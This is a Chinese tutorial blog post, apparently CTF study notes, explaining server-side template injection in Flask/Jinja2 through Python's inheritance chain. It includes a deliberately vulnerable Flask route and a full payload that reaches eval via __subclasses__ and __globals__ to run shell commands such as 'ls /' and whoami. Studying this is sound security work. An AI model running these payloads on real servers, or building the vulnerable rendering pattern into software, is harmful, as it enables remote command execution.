共计 6050 个字符,预计需要花费 16 分钟才能阅读完成。
之前明明学了很多,后面搞其他的忘得差不多了…..
什么是SSTI?
SSTI(Server Side Template Injection,服务器端模板注入),而模板指的就是Web开发中所使用的模板引擎。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。
服务器端使用模板,通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。
在我自己的理解模板注入和SQL注入类似,都是利用服务端配置不当从而将用户输入当作代码的一部分从而实现攻击者想要的目的
后面我们将讲解两个常见的Web应用框架来学习SSTI
前置知识
Python**特殊属性
特殊属性/方法:是 Python 对象系统暴露出来的元数据或工具方法,用于 introspection(自省),如 __class__、__base__、__subclasses__()。它们让你可以“窥探”对象和类的内部结构。
1. 对象与类的基本信息
在此之前建议先学一点类与对象,不然后面学起来会很困难
| 属性 | 作用 | 示例 |
|---|---|---|
__class__ |
指向对象的类 | "hello".__class__ → <class 'str'> |
__dict__ |
存储对象或类的属性字典(可变) | obj.__dict__, MyClass.__dict__ |
__module__ |
类或函数定义所在的模块名 | list.__module__ → 'builtins' |
__name__ |
对象的名称(类名、函数名等) | int.__name__ → 'int' |
例如
count = 0
class Robot:
def __init__(self, name):
self.name = name
global count
count += 1
r1 = Robot("阿童木")
r2 = Robot("瓦力")
print(r1.__class__)
print(r2.__dict__)
print(r1.__module__)
print(r2.__init__.__name__)
#<class '__main__.Robot'>
#{'name': '瓦力'}
#__main__
#__init__
2. 继承与类结构
| 属性 | 作用 | 示例 |
|---|---|---|
__bases__ |
类的所有直接父类(元组) | bool.__bases__ → (<class 'int'>,) |
__base__ |
类的直接父类(单继承时的快捷方式) | bool.__base__ → <class 'int'> |
__mro__ |
方法解析顺序(Method Resolution Order),元组 | MyClass.__mro__ → (MyClass, A, B, object) |
__subclasses__() |
方法:返回该类的所有直接子类列表 | object.__subclasses__() |
count = 0
class Robot:
def __init__(self, name):
self.name = name
self.age = 10
global count
count += 1
r1 = Robot("阿童木")
r2 = Robot("瓦力")
print(r1.__class__.__bases__)
print(r2.__class__.__base__)
print(r1.__class__.__mro__)
print(''.__class__.__base__)
#(<class 'object'>,)
#<class 'object'>
#(<class '__main__.Robot'>, <class 'object'>)
#<class 'object'>
3. 其他重要特殊属性
| 属性 | 作用 | 示例 |
|---|---|---|
__globals__ |
函数所处的全局命名空间(字典) | func.__globals__ |
Python继承链
^1
我们知道如果你缺对象就去学Python我们知道,在python中一切都是对象,而对象就有他自己的属性。我们就可以用 . 去访问对象的某个属性或方法。
如:().__class__.__base__
由于模板渲染引擎的限制,我们并不能直接去使用os模块或者其他危险的函数去操作
那么我们就可以通过一个对象去访问他的类再通过一系列操作访问到我们想要的方法
大致思路是对象->子类->父类->子类->目标模块
Flask与SSTI
Flask使用Jinja2作为模板引擎
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World!'
if __name__ == '__main__':
app.run()
这是flask最基础的代码,打开后会显示hello world!
Jinja2用来渲染的模板符号如下:
{{}}:将花括号内的内容作为表达式执行并返回对应结果。
如{{7*7}}就会被当作代码的一部分进行计算{%%}:用于声明变量或条件/循环语句# 使用set声明变量 {% set s = 'Tuzk1' %} # 条件语句 {% if var is true %}Tuzk1{%endif%} # 循环语句 {% for i in range(3) %}Tuzk1{%endfor%}{##}:注释
我们来看一段正常的flask代码
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='guest')
#
return render_template('index.html', name=name)
app.run()
<html>
<h1>Hello {{name}}</h1>
</html>
在代码中,当我们通过GET请求传入name参数对应的前端界面就会显示我们传入的参数
我们再来看一段有漏洞的代码
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='guest')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# 将一段字符串作为模板进行渲染
return render_template_string(t)
if __name__ == '__main__':
app.run()
![[Pasted image 20250927154627.png]]
这个时候我们输入渲染模板的符号就会被解析成代码渲染了
同样都是渲染模板,这两段代码有什么区别呢?
不难看出,第一段代码是将name作为变量传入类似于先渲染好直接把name变量插入。
而第二段代码是先将name直接插入模板,然后渲染。这样虽然方便但也带来了安全问题
我自己认为这个就类似SQL预编译和直接拼接
知道了原理我们就可以开始操作了,由于jinja2的沙箱。我们并不能直接执行命令,但得益于python的强大,我们可以通过继承链绕过jinja2的沙箱从而实现命令执行或者文件读取。
基本思路是拿基类 -> 找子类 -> 构造命令执行或者文件读取负载 -> 拿 flag
SSTI 注入 – Hello CTF
拿基类
在 Python 中,所有类最终都继承自一个特殊的基类,名为 object。这是所有类的“祖先”,拿到它即可获取 Python 中所有的子类。
一般我们以 字符串 / 元组 / 字典 / 列表 这种最基础的对象开始向上查找
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>
>>> ''.__class__.__base__
<class 'object'>
>>> ().__class__.__base__
<class 'object'>
>>> {}.__class__.__base__
<class 'object'>
>>> [].__class__.__base__
<class 'object'>
不管对象的背后逻辑多么复杂,他最后一定会指向基类:
# 比如以一个request的模块为例,我们使用__mro__可以查看他的继承过程,可以看到最终都是由 object 基类 衍生而来。
>>> request.__class__.__mro__
(<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.sansio.request.Request'>, <class 'flask.wrappers.JSONMixin'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'object'>)
在寻找时,通常我们使用下面的魔术方法:
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
寻找子类
当我们拿到基类,也就是 <class 'object'> 时,便可以直接使用 subclasses() 获取基类的所有子类了。
我们无非要做的就是读文件或者拿 shell,所以我们需要去寻找和这两个相关的子类,但基类一下子获取的全部子类数量极其惊人,一个一个去找实在是过于睿智,但其实这部分的重心不在子类本身上,而是在子类是否有 os 或者 file 的相关模块可以被调用上。

调用子类的函数
通过__init__.__globals__.__builtins__['eval']调用模块的eval函数
最后我们得到的完整payload是{{().__class__.__base__.__subclasses__()[194].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
这部分建议去看探姬师傅的SSTI 注入 – Hello CTF(我写的很简略)
这就是最基础的ssti的payload
我们来挨个拆分这个payload
().__Class__获取了()的类也就是<class 'tuple'>
然后使用__base__获取父类<class 'tuple'> 再subclasses获取父类里面所有的子类,这里值得注意的是subclasses是一个方法,需要加上(),然后得到了一个list,使用[xxx]进行索引寻找带有__builtins__或者是命令执行函数的类,一般在攻击链中都是找的**catch_warnings** 或是 **os._wrap_close`**。
在Python中有很多被重写了init方法或者globals里面没有builtins和命令执行函数,所以我们需要寻找那个特殊的类。
通过builtins获取命令执行函数后就可以正常执行命令了,这里使用的是eval
直接导入os库执行命令
然后我们来分析一些问题
Q:__builtins__是什么?__globals__ 与 __builtins__ 什么关系?
A:简单来说:__builtins__ 是 Python 的“默认工具箱”。它包含了你不需要 import 就能直接使用的所有东西,比如 print()、len()、int、ValueError 等。
比如eval是可以直接不用导入就能用的,就在__builtins__里面
在每一个函数的 __globals__ 字典里,都会自动包含一个键叫做 "__builtins__"。
这就是为什么你在函数内部可以直接调用 print()
Q:为什么有时候payload很短(没有__class__,__base__之类的)
A:环境不同有时候需要的payload也可以不同
比如这段代码
import os
count = 0
class Robot:
def __init__(self, name):
self.name = name
self.age = 10
global count
count += 1
r1 = Robot("阿童木")
r2 = Robot("瓦力")
print(r2.__init__.__globals__['os'].popen('whoami').read())
我们在开始的时候就导入了os模块,且Robot类自带init方法所以就不需要再费力找其他方法的init方法,因为已经实例化的r2就有init且自带os模块
其实在 Python 中,几乎所有“可调用对象”(Callable Objects),只要它是用 Python 代码定义的(而非 C 语言实现的内置函数),都拥有 __globals__ 属性。但是他的globals属性内不一定有我们想要的东西。
比如
class Car:
def drive(self):
pass
c = Car()
print(c.drive.__globals__)
里面没有os,eval但是有builtins,我们就可以通过它来执行命令
print(c.drive.__globals__['__builtins__'].__dict__['eval']('__import__("os").popen("whoami").read()'))
不同函数或者类的__init__.__globals__字典里面的东西都不一定一样
假设有两个文件
moudle_a.py
import os
def func_a(): pass
moudle_b.py
import sys
class MyClass:
def __init__(self): pass
在主程序中运行
from module_a import func_a
from module_b import MyClass
# func_a 的 globals 里有 'os',但没有 'sys'
print('os' in func_a.__globals__) # True
print('sys' in func_a.__globals__) # False
# MyClass.__init__ 的 globals 里有 'sys',但没有 'os'
obj = MyClass()
print('sys' in obj.__init__.__globals__) # True
print('os' in obj.__init__.__globals__) # False